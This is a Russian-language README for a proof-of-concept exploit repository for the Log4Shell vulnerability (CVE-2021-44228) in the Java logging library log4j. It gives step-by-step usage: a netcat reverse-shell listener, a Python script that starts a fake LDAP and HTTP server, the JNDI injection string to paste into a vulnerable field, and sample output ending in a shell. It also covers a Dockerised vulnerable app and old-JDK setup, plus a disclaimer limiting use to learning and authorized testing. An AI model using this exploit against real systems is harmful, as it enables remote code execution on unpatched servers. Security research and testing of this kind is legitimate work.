
Proof-of-Concept для уязвимости CVE-2021-44228.
Proof-of-Concept для недавно обнаруженной уязвимости CVE-2021-44228.
Недавно в log4j — библиотеке журналирования на Java, которая очень широко используется в таких проектах, как elasticsearch, minecraft и многих других, — была обнаружена новая уязвимость.
В этом репозитории мы создали пример уязвимого приложения и эксплойт Proof-of-Concept (POC) для него.
Уязвимое веб-приложение:
Ghidra (старый скрипт):
Minecraft PoC (старый скрипт):
В качестве PoC мы создали python-файл, который автоматизирует этот процесс.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20 и находиться в том же каталоге.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Этот скрипт сам поднимет HTTP-сервер и LDAP-сервер, а также создаст полезную нагрузку (payload), которую вы сможете вставить в уязвимый параметр. После этого, если всё прошло успешно, вы должны получить шелл на указанном порту (lport).
Мы добавили Dockerfile с уязвимым веб-приложением. Вы можете использовать его, выполнив следующие шаги:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
После запуска оно будет доступно по адресу localhost:8080
Если вы хотите продолжить разработку проекта, можете использовать Intellij IDEA — именно эту IDE мы использовали для разработки. Мы также включили папку .idea с файлами конфигурации, которые немного упрощают работу. Вероятно, вы сможете использовать и другие IDE.
На момент создания эксплойта мы не были уверены, какие именно версии java работают, а какие нет, поэтому решили работать с одной из самых ранних версий java 8: java-8u20.
К счастью, Oracle предоставляет архив для всех предыдущих версий java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Прокрутите вниз до 8u20 и загрузите подходящие файлы для вашей операционной системы и оборудования.

Примечание: Для загрузки пакета необходимо создать учётную запись.
После того как вы загрузите и извлечёте архив, вы найдёте java и несколько связанных бинарных файлов в jdk1.8.0_20/bin.
Примечание: Пожалуйста, убедитесь, что вы извлекли папку jdk в этот репозиторий с тем же именем, чтобы всё работало.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Этот репозиторий не предназначен для эксплуатации CVE-2021-44228 «в один клик». Цель проекта — помочь людям узнать об этой замечательной уязвимости и, возможно, протестировать свои собственные приложения (однако для этой цели существуют и более подходящие приложения, например: https://log4shell.tools/).
Наша команда не будет помогать или поддерживать любое использование этого эксплойта в злонамеренных целях; поэтому, если вы обратитесь за помощью, мы можем потребовать доказательства того, что вы либо владеете целевым сервисом, либо имеете разрешение на проведение пентеста.